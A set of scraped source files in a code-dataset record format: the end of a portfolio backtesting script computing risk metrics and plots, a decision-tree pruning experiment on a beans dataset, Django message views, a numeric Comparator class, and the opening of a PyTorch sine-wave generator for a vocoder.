VAR\r\n# ---------------------------------------------------------------------------\r\n\r\n# N as number of days (integer)\r\ndef NDAYVar(price, N, pct=True):\r\n    daily_ret = price.pct_change().fillna(0) + 1\r\n    daily_ret = daily_ret.reset_index(drop=True)\r\n    nday_ret = daily_ret.groupby(daily_ret.index // N).prod() - 1\r\n    VAR = nday_ret.quantile(0.01)\r\n\r\n    if pct:\r\n        return format(np.abs(VAR), \".2%\")\r\n    else:\r\n        return np.abs(VAR)\r\n\r\n\r\n# ---------------------------------------------------------------------------\r\n# Expected N day return or total Return\r\n# ---------------------------------------------------------------------------\r\n\r\ndef nday_ret(price, N=None, TR=False, pct=True):\r\n    if TR:\r\n        ret = price.tail(1)[0] / price.head(1)[0] - 1\r\n    else:\r\n        ret = price.pct_change().mean() * N\r\n    if pct:\r\n        return format(ret, \".2%\")\r\n    else:\r\n        return ret\r\n\r\n\r\n# define return series for which ratios should be calculated:\r\nBM_in = in_sample[\"benchmark_gross\"]\r\nBM_out = out_sample[\"benchmark_gross\"]\r\nstrategy_in = in_sample[\"strategy_gross\"]\r\nstrategy_out = out_sample[\"strategy_gross\"]\r\n\r\n# assemble dicts with risk return metrics\r\nratios_BM_in = {\"Avg. Yearly Return\": nday_ret(BM_in, N=250),\r\n                \"Avg. Yearly Sharp Ratio\": sharp_ratio(BM_in, days=250, rf_rate=0),\r\n                \"Max. Drawdown\": maxdd(BM_in),\r\n                \"Alpha (monthly Returns)\": \"0%\",\r\n                \"Beta (monthly Returns)\": 1,\r\n                \"Avg. Ann. Vol\": yearly_vol(BM_in, days=250),\r\n                \"5d 1% Hist. VAR\": NDAYVar(BM_in, N=5)}\r\n\r\nratios_BM_out = {\"Return YTD\": nday_ret(BM_out, TR=True),\r\n                 \"Avg. Yearly Sharp Ratio\": sharp_ratio(BM_out, days=250, rf_rate=0),\r\n                 \"Max. Drawdown\": maxdd(BM_out),\r\n                 \"Alpha (weekly Returns)\": \"0%\",\r\n                 \"Beta (weekly Returns)\": 1,\r\n                 \"Avg. Ann. Vol\": yearly_vol(BM_out, days=250),\r\n                 \"5d 1% Hist. VAR\": NDAYVar(BM_out, N=5)}\r\n\r\nratios_strategy_in = {\"Avg. Yearly Return\": nday_ret(strategy_in, N=250),\r\n                      \"Avg. Yearly Sharp Ratio\": sharp_ratio(strategy_in, days=250, rf_rate=0),\r\n                      \"Max. Drawdown\": maxdd(strategy_in),\r\n                      \"Alpha (monthly Returns)\": alpha_beta(strategy_in, BM_in, \"1M\", rf_period=0, param=\"alpha\"),\r\n                      \"Beta (monthly Returns)\": round(alpha_beta(strategy_in, BM_in, \"1M\", rf_period=0, param=\"beta\"),\r\n                                                      2),\r\n                      \"Avg. Ann. Vol\": yearly_vol(strategy_in, days=250),\r\n                      \"5d 1% Hist. VAR\": NDAYVar(strategy_in, N=5)}\r\n\r\nratios_strategy_out = {\"Return YTD\": nday_ret(strategy_out, TR=True),\r\n                       \"Avg. Yearly Sharp Ratio\": sharp_ratio(strategy_out, days=250, rf_rate=0),\r\n                       \"Max. Drawdown\": maxdd(strategy_out),\r\n                       \"Alpha (weekly Returns)\": alpha_beta(strategy_out, BM_out, \"1W\", rf_period=0, param=\"alpha\"),\r\n                       \"Beta (weekly Returns)\": round(alpha_beta(strategy_out, BM_out, \"1W\", rf_period=0, param=\"beta\"),\r\n                                                      2),\r\n                       \"Avg. Ann. Vol\": yearly_vol(strategy_out, days=250),\r\n                       \"5d 1% Hist. VAR\": NDAYVar(strategy_out, N=5)}\r\n\r\nrisk_factors_in = pd.DataFrame({\"Benchmark\": ratios_BM_in, \"Strategy\": ratios_strategy_in})\r\nrisk_factors_out = pd.DataFrame({\"Benchmark\": ratios_BM_out, \"Strategy\": ratios_strategy_out})\r\n\r\ndfi.export(risk_factors_out, \"plots/risk_factors_out.png\")\r\ndfi.export(risk_factors_in, \"plots/risk_factors_in.png\")\r\n\r\n# ---------------------------------------------------------------------------\r\n# Plot Visual Example for in Sample Alpha/ Beta Calculation\r\n# ---------------------------------------------------------------------------\r\n\r\n# plot regression line\r\nparams = alpha_beta(strategy_in, BM_in, rf_period=0, period=\"1M\", pct=False)\r\nx = np.arange(min(params.get(\"x\")) - 0.1, max(params.get(\"x\")) + 0.1, 0.01)\r\nfitted_y = params.get(\"alpha\") + params.get(\"beta\") * x\r\n\r\n# assemble plot\r\nfig, ax = plt.subplots(figsize=(15, 10))\r\nplt.scatter(params.get(\"x\"), params.get(\"y\"))\r\nplt.plot(x, fitted_y)\r\nplt.plot(x, x)\r\nplt.title(\"Monthly Excess Returns Strategy vs. Benchmark (in sample)\", size=25)\r\nax.yaxis.set_major_formatter(mtick.PercentFormatter(1.0))\r\nax.xaxis.set_major_formatter(mtick.PercentFormatter(1.0))\r\nplt.ylabel(\"Monthly Excess Returns Strategy\", size=15)\r\nplt.xlabel(\"Monthly Excess Returns Benchmark\", size=15)\r\nplt.axhline(0, color=\"black\", ls=\"--\", lw=1)\r\nplt.axvline(0, color=\"black\", ls=\"--\", lw=1)\r\nplt.xticks(size=15)\r\nplt.yticks(size=15)\r\nplt.legend([\"liner fit\", \"x = y\"], prop={\"size\": 15})\r\nplt.savefig(\"plots/in_sample_alphabetaplot.png\")\r\n\r\n#############################################################################\r\n#                                                                           #\r\n#                            #SECTION 4                                     #\r\n#        #Calculate and plot portfolio characteristics vs. Benchmark        #\r\n#                                                                           #\r\n#############################################################################\r\n\r\n# ---------------------------------------------------------------------------\r\n# Excess Return Strategy vs. Benchmark Plot\r\n# ---------------------------------------------------------------------------\r\n\r\n# calculate return over out of sample period for all stocks in the benchmark index\r\nout_sample_all = Gross_Price[Gross_Price.index > end_backtesting]\r\nout_sample_all = out_sample_all.pct_change() + 1\r\nout_sample_all = out_sample_all.fillna(1).cumprod()\r\nout_return_all = out_sample_all.iloc[len(out_sample_all.index) - 1].div(out_sample_all.iloc[0]) - 1\r\n\r\n# calculate excess return contribution as (Weight Strategy - Weigh Index) * Return\r\nret_contrib = stocks_index.join(stocks_invest[\"weights\"]).fillna(0)\r\nret_contrib = ret_contrib[[\"Name\", \"weights\", \"index_weights\"]]\r\nret_contrib[\"diff_weights\"] = ret_contrib[\"weights\"] - ret_contrib[\"index_weights\"]\r\nret_contrib = ret_contrib.join(pd.DataFrame(out_return_all))\r\nret_contrib = ret_contrib.rename(columns={0: \"return\"})\r\nret_contrib[\"diff_return\"] = ret_contrib[\"diff_weights\"] * ret_contrib[\"return\"]\r\n\r\n# plot and save results\r\nfig = plt.figure(figsize=(15, 10))\r\nax = fig.add_subplot(1, 1, 1)\r\nplt.bar(ret_contrib.Name[0:10], ret_contrib.diff_return[0:10])\r\nplt.bar(ret_contrib.Name[10:39], ret_contrib.diff_return[10:39])\r\nplt.bar(ret_contrib.Name[39:49], ret_contrib.diff_return[39:49])\r\nplt.legend([\"Long\", \"Not Invested\", \"Short\", \"Currencies\"])\r\nax.yaxis.set_major_formatter(mtick.PercentFormatter(1.0))\r\nplt.title(\"Decomposition of out of Sample excess Returns\", size=22)\r\nplt.ylabel(\"Excess Return Strategy vs. Benchmark\", size=15)\r\nplt.subplots_adjust(bottom=0.3)\r\nplt.xticks(rotation=90)\r\nplt.yticks(size=12)\r\nplt.savefig(\"plots/excess_return_breakdown.png\")\r\n\r\n# ---------------------------------------------------------------------------\r\n# Out of Sample Gross Strategy vs Benchmark Performance\r\n# ---------------------------------------------------------------------------\r\n\r\nfig = plt.figure(figsize=(15, 10))\r\nplt.plot(out_sample[[\"strategy_gross\", \"benchmark_gross\"]])\r\nplt.legend(out_sample[[\"strategy_gross\", \"benchmark_gross\"]].columns,\r\n           prop={\"size\": 15})\r\nplt.title(\"Out of Sample Strategy Performance (TR)\", size=20)\r\nplt.ylabel(\"Cumulative Return\", size=15)\r\nplt.yticks(size=15)\r\nplt.gca().xaxis.set_major_formatter(mdates.DateFormatter('%b-%Y'))\r\nplt.gca().xaxis.set_major_locator(mdates.MonthLocator(interval=1))\r\nplt.xticks(size=15)\r\nplt.savefig(\"plots/outofsample_performance.png\")\r\n\r\n# ---------------------------------------------------------------------------\r\n# In Sample Gross Strategy vs Benchmark Performance\r\n# ---------------------------------------------------------------------------\r\n\r\nfig = plt.figure(figsize=(15, 10))\r\nplt.plot(in_sample[[\"strategy_gross\", \"benchmark_gross\"]])\r\nplt.legend(in_sample[[\"strategy_gross\", \"benchmark_gross\"]].columns,\r\n           prop={\"size\": 15})\r\nplt.title(\"In Sample Strategy Performance\", size=22)\r\nplt.ylabel(\"Cumulative Return\", size=15)\r\nplt.gca().xaxis.set_major_formatter(mdates.DateFormatter('%b-%Y'))\r\nplt.gca().xaxis.set_major_locator(mdates.MonthLocator(interval=3))\r\nplt.xticks(size=13)\r\nplt.yticks(size=13)\r\nplt.savefig(\"plots/insample_performance.png\")\r\n\r\n# ---------------------------------------------------------------------------\r\n# In Sample Performance Net vs. Gross\r\n# ---------------------------------------------------------------------------\r\n\r\nfig = plt.figure(figsize=(15, 10))\r\nplt.plot(in_sample[[\"strategy_gross\", \"strategy_net\", \"benchmark_gross\", \"benchmark_net\"]])\r\nplt.legend(in_sample[[\"strategy_gross\", \"strategy_net\", \"benchmark_gross\", \"benchmark_net\"]].columns,\r\n           prop={\"size\": 15})\r\nplt.title(\"In Sample Strategy Performance (net and gross) Comparison\", size=22)\r\nplt.ylabel(\"Cumulative Return\", size=15)\r\nplt.gca().xaxis.set_major_formatter(mdates.DateFormatter('%b-%Y'))\r\nplt.gca().xaxis.set_major_locator(mdates.MonthLocator(interval=3))\r\nplt.xticks(size=13)\r\nplt.yticks(size=13)\r\nplt.savefig(\"plots/insample_performance_netgross.png\")\r\n\r\n# ---------------------------------------------------------------------------\r\n# Out of Sample Performance Decomposition Long/ Short Portfolio\r\n# ---------------------------------------------------------------------------\r\n\r\nfig = plt.figure(figsize=(15, 10))\r\nplt.plot(out_sample[[\"strategy_gross\", \"benchmark_gross\", \"long_gross\", \"short_gross\"]])\r\nplt.legend(out_sample[[\"strategy_gross\", \"benchmark_gross\", \"long_gross\", \"short_gross\"]].columns,\r\n           prop={\"size\": 15})\r\nplt.title(\"Decomposition of out of sample performance\", size=22)\r\nplt.ylabel(\"Cumulative Return\", size=15)\r\nplt.gca().xaxis.set_major_formatter(mdates.DateFormatter('%b-%Y'))\r\nplt.gca().xaxis.set_major_locator(mdates.MonthLocator(interval=1))\r\nplt.xticks(size=13)\r\nplt.yticks(size=13)\r\nplt.savefig(\"plots/outofsamlpe_brekdown.png\")\r\n\r\n# ---------------------------------------------------------------------------\r\n# Stock Weights Index vs. Constrained & Unconstrained Optimization\r\n# ---------------------------------------------------------------------------\r\n\r\nwidth = 0.3\r\nfig, ax = plt.subplots(figsize=(15, 10))\r\nind = np.arange(len(stocks_invest))\r\nax.barh(ind, stocks_invest.weights, width, label=\"Strategy\")\r\nax.barh(ind + width, stocks_invest.index_weights, width, label=\"Index\")\r\nax.barh(ind + 2 * width, stocks_invest.weights_unconst, width, label=\"Unconstrained Strategy\")\r\nax.set(yticks=ind + width, yticklabels=stocks_invest.Name)\r\nax.legend(prop={'size': 10})\r\nax.xaxis.set_major_formatter(mtick.PercentFormatter(1.0))\r\nplt.title(\"Stock Weights Strategy vs Index\", size=25)\r\nplt.yticks(size=10)\r\nplt.xticks(size=15, ticks=np.arange(-0.4, 0.6, 0.1))\r\nplt.savefig(\"plots/strategy_weights.png\")\r\n\r\n# ---------------------------------------------------------------------------\r\n# Plot Country Weights Index vs. Strategy\r\n# ---------------------------------------------------------------------------\r\n\r\ncountry_weights_strategy = stocks_invest[[\"Country\", \"weights\"]].groupby(by=\"Country\").sum()\r\ncountry_weights_index = stocks_index[[\"Country\", \"index_weights\"]].groupby(by=\"Country\").sum()\r\ncountry_weights = country_weights_index.join(country_weights_strategy).fillna(0)\r\ncountry_weights = pd.DataFrame(country_weights, index=country_weights_index.index)\r\n\r\n# assemble plot\r\nwidth = 0.3\r\nfig, ax = plt.subplots(figsize=(15, 10))\r\nind = np.arange(len(country_weights))\r\nax.barh(ind, country_weights.weights, width, label=\"Strategy\")\r\nax.barh(ind + width, country_weights.index_weights, width, label=\"Index\")\r\nax.set(yticks=ind + width, yticklabels=country_weights.index)\r\nax.legend(prop={'size': 15})\r\nax.xaxis.set_major_formatter(mtick.PercentFormatter(1.0))\r\nplt.title(\"Country Weights Strategy vs Index\", size=25)\r\nplt.yticks(size=15)\r\nplt.xticks(size=15)\r\nplt.savefig(\"plots/country_weights.png\")\r\n\r\n# ---------------------------------------------------------------------------\r\n# Plot Currency weights index vs. Strategy\r\n# ---------------------------------------------------------------------------\r\n\r\nvalues = stocks_index.join(stocks_invest[\"weights\"]).fillna(0)\r\ncurrency_weights_strategy = values[[\"Currency\", \"weights\"]].groupby(by=\"Currency\").sum()\r\ncurrency_weights_index = values[[\"Currency\", \"index_weights\"]].groupby(by=\"Currency\").sum()\r\n\r\ncurrency_weights = currency_weights_index.join(currency_weights_strategy).fillna(0)\r\ncurrency_weights = currency_weights.rename(index={\"GBp\": \"GBP\"})\r\n\r\n# assemble plot\r\nwidth = 0.4\r\nfig, ax = plt.subplots()\r\nind = np.arange(len(currency_weights_index))\r\nax.barh(ind, currency_weights.weights, width, label=\"Strategy\")\r\nax.barh(ind + width, currency_weights.index_weights, width, label=\"Index\")\r\nax.set(yticks=ind + width, yticklabels=currency_weights.index)\r\nax.legend([\"Strategy\", \"Index\"])\r\nplt.title(\"Currency Weights Strategy vs Index\", size=20)\r\nax.xaxis.set_major_formatter(mtick.PercentFormatter(1.0))\r\nplt.yticks(size=15)\r\nplt.xticks(size=15)\r\nplt.savefig(\"plots/curency_comparison.png\")\r\n\r\n# ---------------------------------------------------------------------------\r\n# Plot sector weights strategy vs. index\r\n# ---------------------------------------------------------------------------\r\n\r\nsector_weights_strategy = stocks_invest[[\"Sector\", \"weights\"]].groupby(by=\"Sector\").sum()\r\nsector_weights_index = stocks_index[[\"Sector\", \"index_weights\"]].groupby(by=\"Sector\").sum()\r\nsector_weights = sector_weights_index.join(sector_weights_strategy)\r\n\r\n# assemble plot\r\nwidth = 0.4\r\nfig, ax = plt.subplots(figsize=(15, 10))\r\nind = np.arange(len(sector_weights))\r\nax.barh(ind + width, sector_weights.weights, width, label=\"Strategy\")\r\nax.barh(ind, sector_weights.index_weights, width, label=\"Index\")\r\nax.set(yticks=ind + width, yticklabels=sector_weights.index)\r\nax.legend(prop={\"size\": 20})\r\nplt.title(\"Sector Weights Strategy vs Index\", size=25)\r\nax.xaxis.set_major_formatter(mtick.PercentFormatter(1.0))\r\nplt.yticks(size=15)\r\nplt.xticks(size=15)\r\nplt.subplots_adjust(left=0.2)\r\nplt.savefig(\"plots/sector_weights.png\")\r\n\r\n# ---------------------------------------------------------------------------\r\n# Plot performance Nasdaq100 vs. MSCI World vs. FTSE AW-HighDivYield\r\n# ---------------------------------------------------------------------------\r\n\r\n# download prices and clean data\r\nprices = yf.download(tickers=[\"VHYL.AS\", \"EXXT.DE\", \"IWDA.AS\"], start=\"2022-01-01\", end=end_out_sample)\r\nprices = prices[\"Adj Close\"]\r\nprices = prices.div(prices.iloc[0])\r\nprices = prices.rename(\r\n    columns={\"EXXT.DE\": \"Nasdaq 100\", \"IWDA.AS\": \"MSCI World\", \"VHYL.AS\": \"FTSE All World High Dividend\"})\r\n\r\n# assemble plot\r\nplt.figure(figsize=(15, 10))\r\nplt.plot(prices)\r\nplt.title(\"High Dividend Stocks vs. Technology Stocks vs. Total Market\", size=25)\r\nplt.legend(prices.columns, prop={'size': 15})\r\nplt.ylabel(\"Cumulative Return\", size=15)\r\nplt.xticks(size=15)\r\nplt.yticks(size=15)\r\nplt.gca().xaxis.set_major_formatter(mdates.DateFormatter('%b-%Y'))\r\nplt.gca().xaxis.set_major_locator(mdates.MonthLocator(interval=1))\r\nplt.savefig(\"plots/comparison.png\")\r\n\r\n# ---------------------------------------------------------------------------\r\n# calculate change of correlation  matrix in vs out of sample\r\n# ---------------------------------------------------------------------------\r\n\r\nout_sample_cor = Gross_Price_selected[Gross_Price_selected.index > end_backtesting].pct_change().corr()\r\nin_sample_cor = Gross_Price_selected[Gross_Price_selected.index < end_backtesting].pct_change().corr()\r\n\r\nrel_cor = out_sample_cor / in_sample_cor\r\npd.DataFrame(rel_cor).to_csv(\"files/correlation_change.csv\")\r\n\r\n# ---------------------------------------------------------------------------\r\n# calculate performance ratios for short and long portfolios & Benchmark\r\n# ---------------------------------------------------------------------------\r\n\r\n\"\"\"\r\nwe only include stocks which contain a forward,trailing PE ratio &\r\nPB Ratio to calculate weighted values. \r\nFurther, as described by iShares,\r\nwe restrict the maximum value of PE ratios to 60 and of PB ratios to 25. \r\n\"\"\"\r\nstocks_short = stocks_invest[stocks_invest.weights < 0]\r\nstocks_long = stocks_invest[stocks_invest.weights > 0]\r\n\r\n# dividend yield\r\ndiv_yield_long = (stocks_long.weights / stocks_long.weights.sum() * stocks_long.Yield).sum()\r\ndiv_yield_short = (stocks_short.weights.abs() / stocks_short.weights.abs().sum() * stocks_short.Yield).sum()\r\ndiv_yield_index = (stocks_index.index_weights / stocks_index.index_weights.sum() * stocks_index.Yield).sum()\r\n\r\n# trailing PE Ratio, forward PE, PB Ratio\r\n\r\n# get all stocks and join strategy weights\r\nindex = stocks_index.join(stocks_invest[[\"weights\"]])\r\n\r\n# 1. remove stocks where ratios are not given\r\nindex = index[index.Trailing_PE.notna()]\r\nindex = index[index.Forward_PE.notna()]\r\n\r\n# 2. set PE ratios above 60 to 60, set PB ratios above 25 to 25\r\nindex.Trailing_PE = np.where(index.Trailing_PE > 60, 60, index.Trailing_PE)\r\nindex.Forward_PE = np.where(index.Forward_PE > 60, 60, index.Forward_PE)\r\nindex.PB_Ratio = np.where(index.PB_Ratio > 25, 25, index.PB_Ratio)\r\n\r\n# 3. separate long and short stocks from strategy to calculate ratios separately\r\nshort = index.loc[stocks_short.index]\r\nlong = index.loc[stocks_long.index]\r\n\r\n# calculate weighted Trailing PE\r\nPE_long = (long.weights / long.weights.sum() * long.Trailing_PE).sum()\r\nPE_short = (short.weights / short.weights.sum() * short.Trailing_PE).sum()\r\nPE_index = (index.index_weights / index.index_weights.sum() * index.Trailing_PE).sum()\r\n\r\n# calculate weighted forward PE\r\nPE_fwd_long = (long.weights / long.weights.sum() * long.Forward_PE).sum()\r\nPE_fwd_short = (short.weights / short.weights.sum() * short.Forward_PE).sum()\r\nPE_fwd_index = (index.index_weights / index.index_weights.sum() * index.Forward_PE).sum()\r\n\r\n# calculate PB Ratio\r\nPB_long = (long.weights / long.weights.sum() * long.PB_Ratio).sum()\r\nPB_short = (short.weights / short.weights.sum() * short.PB_Ratio).sum()\r\nPB_index = (index.index_weights / index.index_weights.sum() * index.PB_Ratio).sum()\r\n\r\n# assemble metrics dataframe\r\nratios_short = {\"Yield\": format(div_yield_short, \".2%\"),\r\n                \"Price_Book\": round(PB_short, 2),\r\n                \"Trailing_PE\": round(PE_short, 2),\r\n                \"Forward_PE\": round(PE_fwd_short, 2)}\r\n\r\nratios_long = {\"Yield\": format(div_yield_long, \".2%\"),\r\n               \"Price_Book\": round(PB_long, 2),\r\n               \"Trailing_PE\": round(PE_long, 2),\r\n               \"Forward_PE\": round(PE_fwd_long, 2)}\r\n\r\nratios_index = {\"Yield\": format(div_yield_index, \".2%\"),\r\n                \"Price_Book\": round(PB_index, 2),\r\n                \"Trailing_PE\": round(PE_index, 2),\r\n                \"Forward_PE\": round(PE_fwd_index, 2)}\r\n\r\nratios_table = pd.DataFrame({\"Portfolio Short\": ratios_short, \"Portfolio Long\": ratios_long, \"Index\": ratios_index})\r\n\r\n# export table\r\ndfi.export(ratios_table, \"plots/portfolio_characteristics.png\")\r\n","repo_name":"svensglinz/Investments_Project","sub_path":"calculations.py","file_name":"calculations.py","file_ext":"py","file_size_in_byte":37944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21937574763","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nimport sklearn.datasets\nfrom sklearn import tree\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.metrics import confusion_matrix\n\n# Load dataset\n# (data_full, target_full) = sklearn.datasets.fetch_covtype(return_X_y=True, as_frame=True)\ndata_full = pd.read_csv('beans.csv')\ntarget_full = data_full['Class']\ndata_full = data_full.drop('Class', axis = 1)\n\ndt = DecisionTreeClassifier()\ndt.fit(data_full, target_full)\nimportance = dt.feature_importances_\nplt.bar([x for x in range(len(importance))], importance)\n\nind = np.argpartition(importance, -10)[-10:]\ni_feat = data_full.columns[ind]\ndata_full = data_full[i_feat]\n\n# Sample dataset (5% subset)\npct = 1\ndata = data_full.sample(int(len(data_full)*pct))\ntarget = target_full[data.index]\n\n# Split data into training and testing 70:30\nsplit = train_test_split(data, target, test_size = 0.3)\nX_train = split[0]\nX_test = split[1]\ny_train = split[2]\ny_test = split[3]\n\n# Pruning example\n# https://scikit-learn.org/stable/auto_examples/tree/plot_cost_complexity_pruning.html#sphx-glr-auto-examples-tree-plot-cost-complexity-pruning-py\npath = DecisionTreeClassifier().cost_complexity_pruning_path(X_train, y_train)\nalphas, impurities = path.ccp_alphas, path.impurities\n\n# Create trees for different alphas\ndts = []\nroc_aucs = []\ni = 1\nfor alpha in alphas:\n    dt = DecisionTreeClassifier(ccp_alpha=alpha)\n    dt.fit(X_train, y_train)\n    pred = dt.predict(X_test)\n    probs = dt.predict_proba(X_test)\n    roc_aucs.append(roc_auc_score(y_test, probs, multi_class='ovo'))\n    dts.append(dt)\n\n# Removing the case where tree pruned to only one node\ndts = dts[:-1]\nalphas = alphas[:-1]\nroc_aucs = roc_aucs[:-1]\n\ntrain_scores = [dt.score(X_train, y_train) for dt in dts]\ntest_scores = [dt.score(X_test, y_test) for dt in dts]\n\n# Create accuracy vs alpha plots\nfig, ax = plt.subplots()\nax.set_xlabel(\"alpha\")\nax.set_ylabel(\"accuracy\")\nax.set_title(\"Accuracy vs alpha for training and testing sets\")\nax.plot(alphas, train_scores, marker=\"o\", label=\"train\", drawstyle=\"steps-post\")\nax.plot(alphas, test_scores, marker=\"o\", label=\"test\", drawstyle=\"steps-post\")\nax.legend()\nplt.savefig(\"beans_ava.png\")\n\nplt.figure()\nplt.title(\"ROC AUC vs. Alpha\")\nplt.ylabel(\"ROC AUC\")\nplt.xlabel(\"Alpha\")\nplt.plot(alphas, roc_aucs)\nplt.savefig(\"beans_rocaucs.png\")\n\ni = np.argmax(roc_aucs)\nalpha = alphas[i]\nprint(\"Max ROC AUC Alpha: \", alpha)\ndtree = DecisionTreeClassifier(ccp_alpha = alpha)\n\n# Split data into training and testing 70:30\nsplit = train_test_split(data_full, target_full, test_size = 0.3)\nX_train = split[0]\nX_test = split[1]\ny_train = split[2]\ny_test = split[3]\n\ndtree.fit(X_train, y_train)\nscore = dtree.score(X_test, y_test)\nprint(\"Accuracy: \", score)\n","repo_name":"elijahrockers/cs-7641-hw1","sub_path":"algs/dec_tree/beans.py","file_name":"beans.py","file_ext":"py","file_size_in_byte":2870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"37007554751","text":"from django.shortcuts import render, redirect\r\nfrom django.http import JsonResponse\r\nfrom .models import Message\r\n\r\ndef message_list(request):\r\n    messages = Message.objects.all()\r\n    return render(request, 'message_list.html', {'messages': messages})\r\n\r\ndef subit(request):\r\n    if request.method == 'POST':\r\n        author = request.user\r\n        content = request.POST.get('content')\r\n        message = Message(author=author, content=content)\r\n        message.save()\r\n        messages = Message.objects.all()\r\n        return render(request, 'message_list.html',{'messages': messages})\r\n\r\ndef update(request):\r\n    if request.method == 'POST':\r\n        message_id = request.POST.get('message_id')\r\n        new_content = request.POST.get('new_content')\r\n\r\n        message = Message.objects.get(id=message_id)\r\n        message.content = new_content\r\n        message.save()\r\n\r\n        messages = Message.objects.all()\r\n        return render(request, 'message_list.html', {'messages': messages})\r\n\r\ndef delete_message(request):\r\n    if request.method == 'POST':\r\n        message_id = request.POST.get('message_id')\r\n\r\n        message = Message.objects.get(id=message_id)\r\n        message.content = \"訊息已被 \" + message.author + \" 已收回\"\r\n        message.change = 0\r\n        message.save()\r\n\r\n        response = {'author': message.author}  # 將 author 包含在回應中\r\n        return JsonResponse(response)","repo_name":"UnrealNightZero/demo","sub_path":"workspace/message/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35137186541","text":"from numbers import Number\nfrom contextlib import contextmanager\n\n\nclass Comparator:\n\n    default_delta_value = 0.0000001\n\n    def __init__(self, value, delta=None):\n        if delta is None:\n            self.delta = Comparator.default_delta_value\n        else:\n            self.delta = delta\n        self.value = value\n\n    def __eq__(self, other_value):\n        # Could use math.isclose as well\n        return other_value - self.delta <= self.value <= other_value + self.delta\n\n    def __repr__(self):\n        return f\"{self.__class__.__name__}({self.value}, delta={self.delta})\"\n\n    def __add__(self, other):\n        if isinstance(other, Number):\n            return Comparator(self.value + other, delta=self.delta)\n        elif isinstance(other, Comparator):\n            return Comparator(\n                self.value + other.value, delta=max(self.delta, other.delta)\n            )\n        return NotImplemented\n\n    __radd__ = __add__\n\n    def __sub__(self, other):\n        if isinstance(other, Number):\n            return Comparator(self.value - other, delta=self.delta)\n        elif isinstance(other, Comparator):\n            return Comparator(\n                self.value - other.value, delta=max(self.delta, other.delta)\n            )\n        return NotImplemented\n\n    def __rsub__(self, other):\n        if isinstance(other, Number):\n            return Comparator(other - self.value, delta=self.delta)\n        elif isinstance(other, Comparator):\n            return Comparator(\n                other.value - self.value, delta=max(self.delta, other.delta)\n            )\n        return NotImplemented\n\n    # I think it is more correct to have this as a class method\n    @classmethod\n    @contextmanager\n    def default_delta(cls, delta):\n        old_default_delta = cls.default_delta_value\n        try:\n            cls.default_delta_value = delta\n            yield\n        finally:\n            cls.default_delta_value = old_default_delta\n\n    # Solution:\n    #  @contextmanager\n    #  def default_delta(delta):\n    #      old_default_delta = Comparator.default_delta_value\n    #      try:\n    #          Comparator.default_delta_value = delta\n    #          yield\n    #      finally:\n    #          Comparator.default_delta_value = old_default_delta\n","repo_name":"gtcooke94/snippets","sub_path":"morsels/20200518_comparator/comparator.py","file_name":"comparator.py","file_ext":"py","file_size_in_byte":2255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"22327906874","text":"import math\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom voicefixer.vocoder.config import Config\n\n# From xin wang of nii\nclass SineGen(torch.nn.Module):\n    \"\"\"Definition of sine generator\n    SineGen(samp_rate, harmonic_num = 0,\n            sine_amp = 0.1, noise_std = 0.003,\n            voiced_threshold = 0,\n            flag_for_pulse=False)\n\n    samp_rate: sampling rate in Hz\n    harmonic_num: number of harmonic overtones (default 0)\n    sine_amp: amplitude of sine-wavefrom (default 0.1)\n    noise_std: std of Gaussian noise (default 0.003)\n    voiced_thoreshold: F0 threshold for U/V classification (default 0)\n    flag_for_pulse: this SinGen is used inside PulseGen (default False)\n\n    Note: when flag_for_pulse is True, the first time step of a voiced\n        segment is always sin(np.pi) or cos(0)\n    \"\"\"\n\n    def __init__(\n        self,\n        samp_rate=24000,\n        harmonic_num=0,\n        sine_amp=0.1,\n        noise_std=0.003,\n        voiced_threshold=0,\n        flag_for_pulse=False,\n    ):\n        super(SineGen, self).__init__()\n        self.sine_amp = sine_amp\n        self.noise_std = noise_std\n        self.harmonic_num = harmonic_num\n        self.dim = self.harmonic_num + 1\n        self.sampling_rate = samp_rate\n        self.voiced_threshold = voiced_threshold\n        self.flag_for_pulse = flag_for_pulse\n\n    def _f02uv(self, f0):\n        # generate uv signal\n        uv = torch.ones_like(f0)\n        uv = uv * (f0 > self.voiced_threshold)\n        return uv\n\n    def _f02sine(self, f0_values):\n        \"\"\"f0_values: (batchsize, length, dim)\n        where dim indicates fundamental tone and overtones\n        \"\"\"\n        # convert to F0 in rad. The interger part n can be ignored\n        # because 2 * np.pi * n doesn't affect phase\n        rad_values = (f0_values / self.sampling_rate) % 1\n\n        # initial phase noise (no noise for fundamental component)\n        rand_ini = torch.rand(\n            f0_values.shape[0], f0_values.shape[2], device=f0_values.device\n        )\n        rand_ini[:, 0] = 0\n        rad_values[:, 0, :] = rad_values[:, 0, :] + rand_ini\n\n        # instantanouse phase sine[t] = sin(2*pi \\sum_i=1 ^{t} rad)\n        if not self.flag_for_pulse:\n            # for normal case\n\n            # To prevent torch.cumsum numerical overflow,\n            # it is necessary to add -1 whenever \\sum_k=1^n rad_value_k > 1.\n            # Buffer tmp_over_one_idx indicates the time step to add -1.\n            # This will not change F0 of sine because (x-1) * 2*pi = x *2*pi\n            tmp_over_one = torch.cumsum(rad_values, 1) % 1\n            tmp_over_one_idx = (tmp_over_one[:, 1:, :] - tmp_over_one[:, :-1, :]) < 0\n            cumsum_shift = torch.zeros_like(rad_values)\n            cumsum_shift[:, 1:, :] = tmp_over_one_idx * -1.0\n\n            sines = torch.sin(\n                torch.cumsum(rad_values + cumsum_shift, dim=1) * 2 * np.pi\n            )\n        else:\n            # If necessary, make sure that the first time step of every\n            # voiced segments is sin(pi) or cos(0)\n            # This is used for pulse-train generation\n\n            # identify the last time step in unvoiced segments\n            uv = self._f02uv(f0_values)\n            uv_1 = torch.roll(uv, shifts=-1, dims=1)\n            uv_1[:, -1, :] = 1\n            u_loc = (uv < 1) * (uv_1 > 0)\n\n            # get the instantanouse phase\n            tmp_cumsum = torch.cumsum(rad_values, dim=1)\n            # different 